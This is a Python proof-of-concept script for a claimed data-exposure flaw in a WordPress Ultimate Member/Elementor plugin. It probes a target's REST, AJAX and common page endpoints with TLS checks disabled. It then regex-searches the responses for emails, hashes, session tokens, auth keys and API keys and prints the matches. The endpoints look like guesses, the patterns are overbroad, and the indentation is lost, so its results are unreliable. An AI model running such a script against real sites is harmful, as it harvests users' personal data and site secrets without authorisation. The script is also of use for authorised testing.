# CVE-2025-66116 PoC - Ultimate Member Widgets Sensitive Data Exposure
# Target: WordPress site with Ultimate Member Widgets for Elementor plugin <= 2.3
# Type: Sensitive Information Disclosure
import requests
import sys
import re
from urllib.parse import urljoin
def test_vulnerability(target_url):
"""
Test for CVE-2025-66116 sensitive data exposure vulnerability
"""
print(f"[*] Testing target: {target_url}")
print(f"[*] CVE-2025-66116: Ultimate Member Widgets Sensitive Data Exposure\n")
# Known vulnerable endpoints in Ultimate Member Widgets
vulnerable_paths = [
'/wp-json/ultimate-member/v1/',
'/?rest_route=/ultimate-member/v1/',
'/wp-admin/admin-ajax.php',
'/elementor/v1/',
]
sensitive_patterns = [
r'[a-zA-Z0-9_.+-]+@[a-zA-Z0-9-]+\.[a-zA-Z0-9-.]+', # Email patterns
r'wp_[a-z_]+', # WordPress database prefix patterns
r'[a-f0-9]{32}', # MD5 hashes (potential API keys)
r'[a-zA-Z0-9]{40}', # SHA1 hashes
r'session[_-]?token',
r'auth[_-]?key',
r'api[_-]?key',
]
found_sensitive = False
for path in vulnerable_paths:
url = urljoin(target_url, path)
print(f"[*] Testing endpoint: {url}")
try:
headers = {
'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36',
'Accept': 'application/json, text/html, */*',
}
response = requests.get(url, headers=headers, timeout=10, verify=False)
if response.status_code == 200:
content = response.text
for pattern in sensitive_patterns:
matches = re.findall(pattern, content, re.IGNORECASE)
if matches:
print(f"[!] Potential sensitive data found with pattern: {pattern}")
print(f"[!] Sample matches: {matches[:5]}")
found_sensitive = True
except requests.RequestException as e:
print(f"[-] Request failed: {e}")
# Test Elementor page with Ultimate Member widgets
print("\n[*] Testing Elementor pages with Ultimate Member widgets...")
common_elementor_pages = ['/', '/about/', '/contact/', '/members/', '/user-profile/']
for page in common_elementor_pages:
url = urljoin(target_url, page)
try:
response = requests.get(url, headers=headers, timeout=10, verify=False)
if 'ultimate-member' in response.text.lower():
print(f"[+] Page {page} contains Ultimate Member content")
# Check for exposed data patterns
if 'data-user' in response.text or 'data-email' in response.text:
print(f"[!] WARNING: Potential data attributes found in {page}")
found_sensitive = True
except requests.RequestException:
pass
if found_sensitive:
print("\n[!] VULNERABLE: Sensitive data exposure detected!")
print("[!] Plugin should be updated to latest version")
return True
else:
print("\n[-] No obvious sensitive data exposure detected")
print("[-] Manual verification recommended")
return False
if __name__ == '__main__':
if len(sys.argv) > 1:
target = sys.argv[1]
else:
target = 'http://localhost/'
test_vulnerability(target)